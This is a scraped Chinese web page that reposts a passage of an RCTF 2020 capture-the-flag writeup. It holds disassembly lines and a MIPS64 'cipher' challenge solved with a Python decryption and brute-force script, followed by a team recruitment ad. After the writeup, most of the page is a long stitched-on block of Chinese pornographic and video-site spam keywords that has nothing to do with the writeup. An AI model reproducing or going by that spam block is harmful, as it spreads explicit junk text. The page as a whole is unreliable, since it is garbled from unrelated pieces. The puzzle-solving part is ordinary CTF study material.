.text:00000000004F3FFD main_main_func1534 mov [rsi+rcx], dl

.text:00000000004F92BD main_main_func1633 mov [rsi+rcx], dl

.text:00000000004FE81D main_main_func1735 mov [rsi+rcx], dl

.text:0000000000503BBD main_main_func1835 mov [rsi+rcx], dl

.text:00000000005091FD main_main_func1938 mov [rsi+rcx], dl

.text:000000000050E75D main_main_func2040 mov [rsi+rcx], dl

.text:0000000000513AFD main_main_func2140 mov [rsi+rcx], dl

.text:000000000051905D main_main_func2242 mov [rsi+rcx], dl

.text:000000000051E5BD main_main_func2344 mov [rsi+rcx], dl

.text:0000000000523B1D main_main_func2446 mov [rsi+rcx], dl

.text:0000000000528DDD main_main_func2545 mov [rsi+rcx], dl

.text:000000000052DFBD main_main_func2643 mov [rsi+rcx], dl

.text:00000000005336DD main_main_func2747 mov [rsi+rcx], dl

下接腳本下斷,記錄dl值即可。

cipher

解題思路

題目 提供數(shù)據(jù)

0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2, 0x0A

是一道m(xù)ips64的題目,考慮ida7.5才支持mips反編譯,所以只能上ghidra了。

main函數(shù)

cipher是關(guān)鍵函數(shù)

嵌套一個encrypt

嘗試angr爆破,由于大小端原因沒爆破出來,正在嘗試逆向腳本。

def ror(v,n):

return ((v >> n) | (v << (64-n)))&0xffffffffffffffff

def encrypt(a,b,c,d ):

b = (ror(b,8) + a ^ c)&0xffffffffffffffff

a = ror(a,61) ^ b

for i in range(0x1f):

d = (ror(d,8) + c ^ i)&0xffffffffffffffff

c = ror(c,61) ^ d

b = (ror(b,8) + a ^ c)&0xffffffffffffffff

a = ror(a,61) ^ b

return a,b

def decrypt(a,b,c,d):

key = [d,c]

for i in range(0x1f):

key.append((ror(key[2*i],8) + key[2*i+1] ^ i)&0xffffffffffffffff )

key.append(ror(key[2*i+1],61) ^ key[2*i+2])

for i in range(0x1f,-1,-1):

a = ror(a^b,3)

b = ror(((b^key[2*i+1])-a)&0xffffffffffffffff,56)

return a,b

def crack():

check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2]

check = struct.unpack('>'+'Q'*6,''.join(map(chr,check)))

for i in range(0x10000):

c = i

d = 0

c,d = struct.unpack('QQ',struct.pack('>QQ',c,d))

r1,r2 = decrypt(check[0],check[1],c,d)

tmp1 = struct.pack('>Q',r1)

# tmp2 = struct.pack('>Q',r2)

if 'RCTF{' in tmp1:

print i,tmp1

break

def de_flag():

check = [0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2]

check = struct.unpack('>'+'Q'*6,''.join(map(chr,check)))

flag = ''

for i in range(len(check)/2):

c,d = struct.unpack('QQ',struct.pack('>QQ',4980,0))

r1,r2 = decrypt(check[2*i],check[2*i+1],c,d)

flag += struct.pack('>Q',r1)

flag += struct.pack('>Q',r2)

print flag

def main():

crack()

de_flag()

end

招新小廣告

ChaMd5 ctf組 長期招新

尤其是crypto+reverse+pwn+合約的大佬

歡迎聯(lián)系admin@chamd5.org

總結(jié)

以上是生活随笔為你收集整理的mysql %3cforeach_RCTF 2020 Writeup的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

午夜视频在线观看一区二区 | www.天天草| 亚洲区二区 | 国产黄色在线 | 国产日韩视频在线观看 | 久久免费视频网 | 深爱激情五月婷婷 | 日韩精品视频免费专区在线播放 | 日本久久精品视频 | www看片网站| 美女网站在线观看 | 日韩高清 一区 | 免费在线看成人av | 国产98色在线 | 日韩 | 九九99| 成年人在线观看 | 偷拍福利视频一区二区三区 | 高清中文字幕 | 久久精品久久99精品久久 | 免费看网站在线 | 天天射射天天 | 免费色视频在线 | 91毛片在线观看 | 欧美人交a欧美精品 | 久久精品高清 | 特级西西人体444是什么意思 | 日韩网站免费观看 | 欧美一区二区三区激情视频 | 久久tv| 国产韩国日本高清视频 | 人人射av| 国产极品尤物在线 | 日韩三级视频在线看 | av电影亚洲| 亚洲码国产日韩欧美高潮在线播放 | 日本婷婷色 | 天天做日日做天天爽视频免费 | www.婷婷com| 久久狠狠干 | 亚洲高清激情 | 久久久久免费精品国产 | 91麻豆精品国产91 | 亚洲精品美女久久17c | 国产视频在线看 | 在线观看视频你懂 | www婷婷| av片一区二区 | 尤物九九久久国产精品的分类 | sm免费xx网站| 久久国产精品久久精品国产演员表 | 成人免费91| 精品嫩模福利一区二区蜜臀 | 人人干人人上 | 亚洲综合在线播放 | 亚洲精品成人在线 | 一区二区三区免费在线观看视频 | 亚洲最大在线视频 | 96av麻豆蜜桃一区二区 | 激情欧美一区二区三区 | 国产又粗又猛又黄视频 | 日本高清免费中文字幕 | 国产免费一区二区三区网站免费 | 在线午夜av | 在线你懂 | 日韩欧美在线综合网 | 免费国产一区二区视频 | 国产精品久久久久久久毛片 | 免费99| 日韩在线免费观看视频 | 日韩在线高清视频 | 国产精品粉嫩 | 日韩和的一区二在线 | 国产精品不卡 | 久久66热这里只有精品 | 五月激情久久久 | 黄色av电影网 | 韩日三级av| 亚洲精品国产精品国 | 狠狠色综合网站久久久久久久 | 久久久久久久久国产 | 欧美午夜精品久久久久 | 三级在线国产 | 成人免费91 | 亚洲精品成人免费 | 日韩av在线免费播放 | 人人添人人澡 | 91精品久久久久久综合乱菊 | 色97在线 | 午夜精品婷婷 | 免费在线观看视频a | 在线观看一级 | 中文字幕在线视频精品 | 欧美日韩视频在线观看一区二区 | 狠狠地操 | 九九在线免费视频 | 国产麻豆精品久久一二三 | 成年人在线视频观看 | av专区在线 | 蜜臀久久99精品久久久无需会员 | 蜜臀av.com | 西西4444www大胆视频 | 在线激情影院一区 | 91视频在线免费看 | 成人欧美亚洲 | 欧美另类巨大 | 亚洲日本精品视频 | 国产成人性色生活片 | 蜜臀久久99精品久久久无需会员 | 国产精品福利午夜在线观看 | 免费网站看av片 | 夜夜躁日日躁 | 超碰在线公开免费 | h动漫中文字幕 | 久久久久综合精品福利啪啪 | 国产91免费观看 | 综合久久久久久久 | 深爱激情五月网 | 免费av在 | 99国产在线视频 | 亚洲成aⅴ人片久久青草影院 | 中文在线a√在线 | 婷婷综合 | 国产在线精品区 | 一区二区电影在线观看 | 日日摸日日添日日躁av | 久久久五月天 | 成人天堂网| 缴情综合网五月天 | 免费在线观看一区二区三区 | 日韩亚洲在线视频 | 亚洲精品国偷拍自产在线观看蜜桃 | 黄色影院在线免费观看 | 婷婷资源站| 中文字幕资源网 国产 | 色干综合 | 国产麻豆精品传媒av国产下载 | 国产成人精品国内自产拍免费看 | 手机av网站 | 日韩性xxxx| 久草在线免费资源 | 丁香花五月| 久久一区二区三区国产精品 | 欧美日韩免费观看一区=区三区 | 日韩二区在线观看 | 亚洲日本一区二区在线 | 欧美a级在线播放 | 丁香五婷| av短片在线观看 | 久草a视频| 日韩午夜av| 午夜体验区 | 欧美日韩视频免费 | 亚洲精品视频第一页 | 九九国产视频 | 99视频| 91精品天码美女少妇 | 丁香婷婷在线 | 午夜在线免费观看视频 | 91精品入口 | 国产精品福利午夜在线观看 | 蜜臀av夜夜澡人人爽人人 | 国产精品久久久久永久免费看 | 天天色天天综合 | 亚洲精品乱码久久久久久 | 99视频+国产日韩欧美 | 日韩欧美国产精品 | 久久a热6 | 日韩精品免费在线播放 | 日韩久久精品一区 | 中文字幕av影院 | 99精品黄色片免费大全 | 国产在线精品福利 | 91精品婷婷国产综合久久蝌蚪 | 亚洲免费观看视频 | 中文字幕在线中文 | 色偷偷88888欧美精品久久久 | 欧美日韩视频一区二区三区 | 国产美女精彩久久 | 免费v片| 日韩视频免费在线 | 在线电影av | 精品96久久久久久中文字幕无 | 国产免费人成xvideos视频 | 久久理论电影网 | 国产精品久久久电影 | 天天操天天干天天摸 | 久久久久国产精品免费 | 国产91av视频在线观看 | 国产精品日韩欧美一区二区 | 色婷婷av一区二 | 日韩精品视频在线免费观看 | 久久tv | 五月婷婷色播 | 天天干天天操天天干 | 亚洲欧美视频一区二区三区 | 蜜臀av性久久久久av蜜臀妖精 | 最近乱久中文字幕 | 国产精品高 | 国产精品精品久久久 | 国产成人精品一区二区 | 精品免费视频. | 中文字幕亚洲在线观看 | 亚洲女同ⅹxx女同tv | 综合色中色 | 91视频电影 | 夜色资源网 | 黄色影院在线播放 | 亚洲精品在线观看中文字幕 | 精品国产片 | 久久成电影 | 亚洲精品美女免费 | 91av资源网 | 日韩sese| 色a网| 天天躁日日躁狠狠 | 国产999久久久| 国产成人高清在线 | 天天拍天天干 | 91精彩视频| 午夜视频二区 | 日韩久久精品一区二区三区下载 | 国产精品色视频 | 久久热首页 | 久草在线精品观看 | 正在播放亚洲精品 | 国产中文字幕在线播放 | 91久久国产露脸精品国产闺蜜 | 蜜桃久久久 | 五月网婷婷 | 四月婷婷在线观看 | 国产精品一区二区三区观看 | 亚洲深夜影院 | 国产黄影院色大全免费 | 夜夜爱av | 日本黄色特级片 | 天天干天天操天天拍 | 精品一区电影国产 | 国产中文自拍 | 日韩av资源站 | 狠狠地日| 91丨九色丨91啦蝌蚪老版 | 欧美综合在线视频 | 国内精品久久久久国产 | 久久久久久久久黄色 | 中文字幕亚洲欧美 | 97国产大学生情侣白嫩酒店 | 午夜精品久久久久久久99水蜜桃 | 丁香激情婷婷 | 色综合久久久久综合体 | av免费电影在线观看 | 亚洲欧洲日韩 | 久草网在线| 成人免费网站视频 | 天天综合色网 | 99视频在线免费看 | 一区二区三区在线影院 | 亚洲成a人片在线观看中文 中文字幕在线视频第一页 狠狠色丁香婷婷综合 | 麻豆精品在线视频 | 人人爽人人片 | 中文字幕首页 | 97电影院在线观看 | 中文字幕在线观看完整版电影 | 国产一区在线不卡 | 日韩精品在线一区 | 中文字幕在线播放视频 | 啪啪小视频网站 | 开心激情五月婷婷 | 欧美久久久影院 | 成人免费在线视频观看 | 国产精品正在播放 | 91精彩视频在线观看 | 亚洲欧美国产视频 | 激情视频一区二区 | www.亚洲精品在线 | 一级一片免费看 | 九九在线视频 | 激情视频一区二区三区 | 精品国产一区二区三区在线 | 色婷婷综合久色 | 91三级在线观看 | 日韩欧美一区二区三区黑寡妇 | 天天综合成人网 | 精品国产_亚洲人成在线 | 最新国产福利 | 成人全视频免费观看在线看 | 手机看片1042 | caobi视频 | 免费视频在线观看网站 | 久操视频在线免费看 | 黄色福利视频网站 | 日韩爱爱网站 | 福利视频午夜 | 亚洲日本在线一区 | 成人久久久久 | 丁香激情五月 | 五月婷婷六月丁香激情 | 亚州成人av在线 | 国产精品 欧美 日韩 | 久久久精品欧美 | 日韩天堂在线观看 | 日韩欧美一区二区在线 | 黄在线免费看 | av色图天堂网 | 久久亚洲欧美日韩精品专区 | 久久99爱视频 | 国产二区视频在线观看 | 欧美性爽爽 | 久草免费资源 | 国产一区免费观看 | av三级av | 日韩网 | 欧美日韩18 | av久久在线 | 麻豆视频免费版 | 99久久精品日本一区二区免费 | 久久九九国产精品 | 久久精品www人人爽人人 | 九九免费精品 | 久久视频国产精品免费视频在线 | 亚洲少妇自拍 | 欧美做受高潮1 | 国产精品久久久久久久午夜片 | 国产精品免费观看久久 | 国产视频中文字幕 | 麻豆久久精品 | 久草在线在线视频 | 久草久视频 | 中中文字幕av在线 | 国产二区视频在线 | 色丁香婷婷 | 97超碰资源网 | 激情五月婷婷综合网 | 激情网在线视频 | 久久人人添人人爽添人人88v | 98超碰在线 | 久久99深爱久久99精品 | 日b视频国产| 亚洲精品国精品久久99热一 | 色噜噜日韩精品一区二区三区视频 | 精品国产三级a∨在线欧美 免费一级片在线观看 | 欧美色操| 成人午夜网 | 91麻豆精品国产91 | 成人理论在线观看 | 久久久69 | 中文字幕大全 | 91视频国产高清 | 亚洲精品视频第一页 | 国产一区二区久久久 | 国产午夜精品在线 | 亚洲永久精品在线观看 | 麻豆影视在线免费观看 | 亚洲视频在线观看免费 | 在线91观看 | 91免费视频网站在线观看 | 一区二区网 | 懂色av一区二区在线播放 | 欧美91视频 | 蜜桃视频在线视频 | 91精品国产欧美一区二区成人 | 天天操天天操天天操 | 深爱激情亚洲 | 狠狠色狠狠综合久久 | 亚洲精品久久久久www | 久久精品99国产精品亚洲最刺激 | 在线网站黄 | 欧美va在线观看 | 久久情侣偷拍 | 91av视频在线播放 | 国产不卡免费 | 国产在线观看91 | 国产1区2区3区精品美女 | 亚洲日日日 | 国产一级黄色电影 | 久久久久久美女 | 日韩1页| 美女免费视频黄 | 国产手机视频在线 | 黄色一级在线免费观看 | 国产精品一区二区三区四 | 黄色h在线观看 | 久久tv | 久草视频视频在线播放 | 91字幕| 久久免费看毛片 | 欧美日韩高清一区二区三区 | 成人av久久 | 久久久久久久久久久电影 | 深爱激情五月综合 | 成人小视频在线 | 97在线视频免费播放 | 狠狠的干狠狠的操 | 国产小视频在线免费观看视频 | 日本久久久久久久久久久 | 国产精品一区二区你懂的 | 91黄在线看 | 狠狠地日| 国产无限资源在线观看 | 97国产视频| 亚洲激情在线 | 日韩一区二区三区观看 | 欧美日韩精品二区第二页 | 日韩欧美91 | 韩日精品在线观看 | 91福利社区在线观看 | 亚洲精品国偷拍自产在线观看蜜桃 | 狠狠干中文字幕 | 午夜成人影视 | 久草在线资源免费 | 日韩网| 欧美精品一区二区性色 | 丁香六月色 | 二区三区在线观看 | 麻豆影视在线播放 | 91av视屏| 精品久久久久久久久久久久久久久久久久 | 久久一区二区三区超碰国产精品 | 久热色超碰 | 最新国产在线 | 久久久高清视频 | 狠狠综合久久av | 婷婷色在线播放 | 欧洲一区二区三区精品 | 亚洲91中文字幕无线码三区 | 伊人伊成久久人综合网小说 | 国产精品久久久视频 | av怡红院| 丁香五香天综合情 | 97精品国自产拍在线观看 | 色五月情| 国产不卡视频在线 | 黄色国产在线 | 热久久免费视频精品 | 日韩v在线 | 人人爱爱| 中文字幕av电影下载 | 久久国语露脸国产精品电影 | 日本在线精品视频 | 久久夜色精品国产欧美乱极品 | 成人羞羞免费 | 国产精品一区免费观看 | 欧美日韩国产一二三区 | 国产不卡免费视频 | 免费在线国产视频 | 国产精品久久电影网 | 久久综合导航 | 激情视频二区 | 精品国产伦一区二区三区 | 国产一区二区三区免费观看视频 | 欧美色图p | 日韩在线视频不卡 | 国产在线播放一区二区 | 午夜av激情| 国产一区国产精品 | 亚洲精品在线一区二区三区 | 五月开心婷婷网 | 日本性生活免费看 | av网站免费看| 欧美性大胆 | 欧美综合久久久 | 久久尤物电影视频在线观看 | 不卡av在线免费观看 | 麻豆视频在线看 | 日日射av| 一区二区伦理电影 | 狠狠色婷婷丁香六月 | 精品字幕| 中文字幕免费一区二区 | 色国产精品 | 国产亚洲精品久久久久久电影 | www.香蕉视频在线观看 | 天天操天 | 天天操夜夜做 | 色com网| 在线观看中文字幕 | 亚洲精品91天天久久人人 | 91麻豆精品国产91久久久久久久久 | 精品毛片在线 | 99久久www| 久久综合狠狠综合久久综合88 | 久久成熟 | 中文字幕欧美日韩va免费视频 | 中文字幕欧美日韩va免费视频 | 五月婷婷丁香在线观看 | 中文字幕在线影视资源 | 久爱精品在线 | 丝袜+亚洲+另类+欧美+变态 | 婷婷色五 | 免费看av在线 | 粉嫩av一区二区三区四区五区 | 国产精品99久久久久的智能播放 | 欧美aⅴ在线观看 | 成年人黄色在线观看 | 婷婷丁香九月 | 精品99视频 | 国产福利免费在线观看 | 亚洲经典视频 | 日韩精品亚洲专区在线观看 | 日韩一级黄色av | av品善网 | 天天插天天干天天操 | 国产视频97 | 天天色天天操天天爽 | 人人超碰在线 | 国产精品99视频 | 97人人模人人爽人人喊网 | 毛片网在线播放 | 99视频精品全国免费 | www四虎影院 | 欧美日韩在线视频一区 | 国产精品四虎 | 黄色电影小说 | www.狠狠插.com | 中文字幕日韩有码 | 黄色一级大片在线免费看国产一 | 亚洲三级黄色 | 日韩午夜在线观看 | 中文字幕大全 | 国产成人精品在线观看 | 2019中文最近的2019中文在线 | 成人性生活大片 | 最近2019好看的中文字幕免费 | 亚洲精品视频在线 | 青青河边草免费观看完整版高清 | 免费观看一级视频 | 超碰在线人人 | 国产成人一区二区三区在线观看 | 超碰免费观看 | 亚洲日本国产精品 | 在线看一级片 | 国产成人性色生活片 | 69国产成人综合久久精品欧美 | 日韩av男人的天堂 | 国产 色 | 国产一区免费在线观看 | 免费在线观看日韩视频 | 在线观看岛国片 | 日韩精品aaa | 超碰在线人人爱 | 久久精彩免费视频 | 久久久久免费精品视频 | 国产精品女 | 中文在线免费观看 | 在线日韩av | 91精品免费 | 日韩免费一区二区 | 日日干夜夜干 | 国内精品在线一区 | 国产精品中文字幕在线播放 | 精品久久久久久久久中文字幕 | 日韩精品五月天 | 欧美精品亚洲精品日韩精品 | 综合精品在线 | 婷婷六月色 | 国产一区二区在线免费播放 | 一区二区三区日韩在线 | 极品美女被弄高潮视频网站 | 国产在线观看h | 久久黄色a级片 | 天天操天天玩 | 亚洲综合色婷婷 | 亚洲资源在线 | 亚洲精品成人av在线 | 午夜久久久久久久久 | 国产精品视频免费在线观看 | 久久国产精品一二三区 | 国产一区观看 | 天天爱天天干天天爽 | 成人精品国产免费网站 | 欧美日韩国语 | 国产综合在线观看视频 | 99久久久国产精品 | www.成人久久 | 久久久国产在线视频 | 免费av的网站 | 五月开心六月伊人色婷婷 | 色综合天天综合 | 欧美日韩国产一区二区三区在线观看 | 综合五月| 999成人 | 最新日韩精品 | 免费观看一级 | 色.www| 永久黄网站色视频免费观看w | se视频网址| 99精品在线播放 | 国产午夜麻豆影院在线观看 | 粉嫩一区二区三区粉嫩91 | 亚洲国产精品va在线 | 在线亚洲日本 | 亚洲成人国产精品 | 日av免费| 国产精品一区二区免费视频 | 青草视频在线 | 香蕉视频免费看 | 国产成人一区二区三区在线观看 | 黄色av一区二区三区 | 91av电影在线 | 99久久久久 | 国产在线观看一 | 丁香婷婷综合激情五月色 | 久久只精品99品免费久23小说 | 波多野结衣电影一区 | 午夜av免费观看 | 欧美日韩一级久久久久久免费看 | 91麻豆精品国产91久久久久久 | 成人精品视频久久久久 | 97视频人人澡人人爽 | 高清免费在线视频 | 国产精品免费久久久久久 | 亚洲狠狠干 | 久久成人午夜 | 日日夜夜免费精品视频 | 天天摸日日操 | 免费看国产a | 亚洲aⅴ在线 | 国产成人精品一区二区三区在线 | 日本久久久亚洲精品 | 综合久久久久久 | a视频在线观看免费 | 最近免费中文字幕mv在线视频3 | 三级av免费| 日韩1页| 亚洲日本韩国一区二区 | 亚洲日本中文字幕在线观看 | 国产一区二区中文字幕 | 日韩高清免费无专码区 | 国产高清久久久 | 亚洲国产免费网站 | 亚洲成人国产 | 久久久久久久久久久久电影 | 91黄色在线视频 | 成人黄色电影在线播放 | 91成版人在线观看入口 | 国产精品白丝av | 久热国产视频 | 在线成人一区二区 | 成人精品视频久久久久 | 欧美综合在线视频 | 99资源网 | av高清不卡 | 婷婷激情站 | 久久伊人精品一区二区三区 | 黄色成人小视频 | 最近中文字幕第一页 | 91精彩在线视频 | 美女黄网站视频免费 | 国产一区二区视频在线 | 午夜视频在线观看欧美 | 96精品在线| 久久精品视频国产 | 99色99| 免费在线观看亚洲视频 | 2023av| 色99久久 | 91久久爱热色涩涩 | 一区二区三区在线观看 | 国产精品av在线免费观看 | 国产精品对白一区二区三区 | 在线观看理论 | 玖草在线观看 | 黄色的视频网站 | 特级西西444www高清大视频 | www久久com | 91亚洲精品乱码久久久久久蜜桃 | 婷婷国产一区二区三区 | 国产麻豆精品一区二区 | 日韩理论电影在线观看 | 一区二区三区在线视频观看58 | 亚洲在线观看av | 伊人狠狠色丁香婷婷综合 | 全久久久久久久久久久电影 | 99精品视频免费全部在线 | 午夜在线日韩 | 成人一级黄色片 | av久久久 | 91福利影院在线观看 | 日韩精品三区四区 | 国产精品久久99精品毛片三a | 免费三级在线 | 香蕉视频亚洲 | 欧美孕妇视频 | 国产成人99久久亚洲综合精品 | 9热精品| 久久97久久 | 国产精品 中文在线 | 91最新中文字幕 | 91豆花在线观看 | 在线观看韩日电影免费 | 久久精品麻豆 | 日韩激情三级 | 国产一在线精品一区在线观看 | 久久综合精品国产一区二区三区 | 91免费高清视频 | 久久精品99国产精品亚洲最刺激 | 在线观看免费国产小视频 | 欧美国产高清 | 99视屏 | 日韩欧美视频 | 免费看的黄色网 | 日韩性xxxx | 在线免费观看涩涩 | 国产成a人亚洲精v品在线观看 | 亚洲草视频 | 在线观看91 | 精品三级av | 久久久福利 | 九九激情视频 | 干干干操操操 | 国产原创91 | 日本夜夜草视频网站 | 成人国产精品免费观看 | 少妇bbb好爽 | 成人中文字幕在线观看 | 亚洲在线 | 久热av | 伊人黄色网 | 成人免费共享视频 | 婷婷资源站 | 国产美女精品久久久 | 久久黄色网页 | 91 在线视频 | 四虎在线免费观看视频 | 日韩成人精品一区二区 | 黄色com| 中文字幕亚洲字幕 | 一区二区视频欧美 | 99视频免费在线观看 | av亚洲产国偷v产偷v自拍小说 | 欧美在线观看小视频 | 欧美国产高清 | 黄色成人毛片 | 91九色视频观看 | 亚洲精品自拍 | 99视频这里有精品 | 国产成人l区 | 免费在线观看日韩 | 国产96视频 | 日韩中文字幕视频在线 | 日日夜夜精品免费视频 | 精品综合久久久 | 免费情趣视频 | 特级毛片在线免费观看 | 六月婷色| 香蕉视频国产在线 | 人人爽久久涩噜噜噜网站 | 九九九毛片 | 2023av在线 | 亚洲精品h| 99国产一区 | 国产亚洲91 | 最近能播放的中文字幕 | 中文字幕在线免费看 | 中文字幕av在线电影 | 久久人人爽人人爽人人片 | 三级av免费观看 | 久久久人人爽 | 精油按摩av | av一级黄| 天天射天天艹 | 精品久久久成人 | 日韩av午夜在线观看 | 国产日产精品一区二区三区四区的观看方式 | 在线亚洲欧美视频 | 久久久久久久久久福利 | 欧美一级黄色网 | 欧美高清视频不卡网 | 日韩精品一区二区三区在线视频 | 99免费| 在线成人短视频 | 高清视频一区二区三区 | 欧美日韩国产一区二 | 免费黄色在线 | 久产久精国产品 | 国产精品久久在线观看 | 中文字幕免费观看 | 亚洲精品国产视频 | 96在线| 中文字幕乱码一区二区 | 免费观看日韩 | 欧美成人黄色片 | 黄色一级在线免费观看 | 亚洲精品在线观看网站 | 激情欧美xxxx | 草久草久 | 亚洲欧美视频一区二区三区 | 日本一区二区三区视频在线播放 | 久久久久久久99精品免费观看 | 九九视频在线播放 | 久久男人中文字幕资源站 | 99热高清| 天堂av免费看| www久久精品 | 国产永久免费高清在线观看视频 | 99国产精品免费网站 | 六月丁香激情综合色啪小说 | 天天草天天插 | 国产精品久久久久久久久毛片 | 中文字幕亚洲高清 | 欧美色操 | 92国产精品久久久久首页 | 国产色婷婷精品综合在线手机播放 | 国产99久久九九精品免费 | 手机成人av在线 | 日韩午夜网站 | 精品国精品自拍自在线 | 狠狠操狠狠 | 黄色片视频免费 | 91久久丝袜国产露脸动漫 | 日韩成年视频 | 国产高清中文字幕 | 久草资源免费 | 久久视频在线观看 | 国产精品毛片久久久久久久久久99999999 | 在线播放精品一区二区三区 | 在线观看av小说 | 日韩久久久久久久久 | 中文字幕精品一区久久久久 | 亚洲午夜精品久久久久久久久 | 国产一区在线免费观看 | 91亚洲国产成人久久精品网站 | 精品国产欧美一区二区三区不卡 | 日韩专区中文字幕 | 91精品国产三级a在线观看 | 四虎影视成人 | 狠狠干五月天 | 91av成人| 麻豆视频www| 亚洲dvd | 91精品在线麻豆 | 亚洲乱码国产乱码精品天美传媒 | 亚洲精品黄色片 | 91x色| 在线免费看黄色 | 久久深夜福利免费观看 | 成人在线观看资源 | 日韩在线一区二区免费 | 日本午夜在线观看 | 少妇性bbb搡bbb爽爽爽欧美 | 亚洲闷骚少妇在线观看网站 | 欧美坐爱视频 | 亚洲四虎| 99视频在线观看免费 | avav片 | 久久成人欧美 | 97超级碰碰碰碰久久久久 | 国产品久精国精产拍 | 69欧美视频 | 99在线免费观看视频 | 狠狠色伊人亚洲综合网站色 | 在线视频麻豆 | 美女黄频免费 | 六月色丁| 成人免费在线视频 | 在线va视频 | 欧美日本一二三 | 久久久久久视频 | 国产美女精品视频 | 天天爱天天操 | a色视频| 成人黄色毛片 | 五月综合久久 | 91九色国产在线 | 国产精品九色 | 成人网在线免费视频 | 日本特黄一级 | 久久精品8 | 91麻豆精品国产91 | 久久久久久久久久网站 | 欧美日韩精品国产 | 国产韩国日本高清视频 | 精品美女国产在线 | 五月天婷亚洲天综合网精品偷 | 一区二区三区在线播放 | 日本久久久久久科技有限公司 | 精品一区二区在线播放 | 99热在线国产 | 婷婷成人在线 | 久久久免费观看 | 在线一区电影 | 天堂久久电影网 | 久久久久成 | 天天爽天天做 | 久久久久久久久久免费 | 免费在线观看视频一区 | 午夜视频不卡 | 日本在线中文在线 | 天天色棕合合合合合合 | 精品一区二区在线观看 | 欧美视频国产视频 | 欧美精品一区二区在线播放 | 天天综合在线观看 | 一级免费黄视频 | 九九九在线观看视频 | 久久开心激情 | 96久久| 99久久一区 | 一区二区中文字幕在线 | 欧美巨乳网 | 五月婷婷狠狠 | 日韩经典一区二区三区 | 久久99精品久久久久久三级 | 国产成人精品av久久 | 五月天婷亚洲天综合网鲁鲁鲁 | 日日操夜| 天天草综合 | 日本久久久亚洲精品 | 国产xvideos免费视频播放 | 久久成人资源 | 国产成人精品一区二区三区网站观看 | 久久精品国产免费看久久精品 | 不卡的av在线播放 | 91麻豆高清视频 | 天天操夜夜操夜夜操 | 国产一级二级在线观看 | 久草在线免费看视频 | 在线观看国产91 | 久草视频国产 | 免费av免费观看 | 天天综合五月天 | 又黄又色又爽 | 国产伦精品一区二区三区在线 | 有码中文字幕在线观看 | 久久国产精品视频免费看 | 亚洲精品视频在线观看免费视频 | 最新超碰在线 | 98精品国产自产在线观看 | 欧美精品在线视频观看 | 亚洲免费av在线播放 | 国产精品高潮在线观看 | 亚洲激情网站免费观看 | 精品免费观看 | 欧美精品久久久久久久久老牛影院 | 99精品视频在线免费观看 | 精品久久精品久久 | 99视频免费观看 | 精品一区在线 | 国产成本人视频在线观看 | 91人网站 | 91秒拍国产福利一区 | 中文免费 | 夜夜干夜夜 | 精品国产一区二区三区蜜臀 | 日韩免费 | 91精品久久久久久综合乱菊 | 91精品一区在线观看 | 亚州精品在线视频 | 国产一二三四在线观看视频 | 久久午夜鲁丝片 | 国产成人免费高清 | 精品在线观看一区二区三区 | 精品一区免费 | 一区二区三区高清不卡 | 天天曰天天干 | 久久在线视频精品 | 国产又粗又猛又爽又黄的视频免费 | 亚洲成av| 久久久久久久久亚洲精品 | www九九热| 在线欧美国产 | 色网av | 天天操网址 | 美女网站在线观看 | www中文在线 | 国产精品一区二区av影院萌芽 | 激情婷婷在线 | 欧美一级性生活片 | 在线精品观看国产 | 亚洲精品乱码久久久久v最新版 | av大全在线免费观看 | 亚洲a色| 精品国产伦一区二区三区观看方式 | 三级视频片 | 91av手机在线| 成人精品999| av+在线播放在线播放 | 亚洲成人动漫在线观看 | 91麻豆精品国产91久久久无需广告 | 国产码电影 | 亚州黄色一级 | 毛片无卡免费无播放器 | 人人揉人人揉人人揉人人揉97 | 狠狠色噜噜狠狠狠狠2022 | 在线国产精品视频 | 色999精品| 国产欧美精品一区aⅴ影院 99视频国产精品免费观看 | 91av美女| 日韩av电影手机在线观看 | 日批视频在线播放 | 深夜免费小视频 | 中文字幕在线第一页 | 999男人的天堂 | 国产在线观看地址 | 狠狠狠色丁香综合久久天下网 | 99精品在线直播 | 五月婷婷六月综合 | 中文字幕之中文字幕 | 亚洲精品国产片 |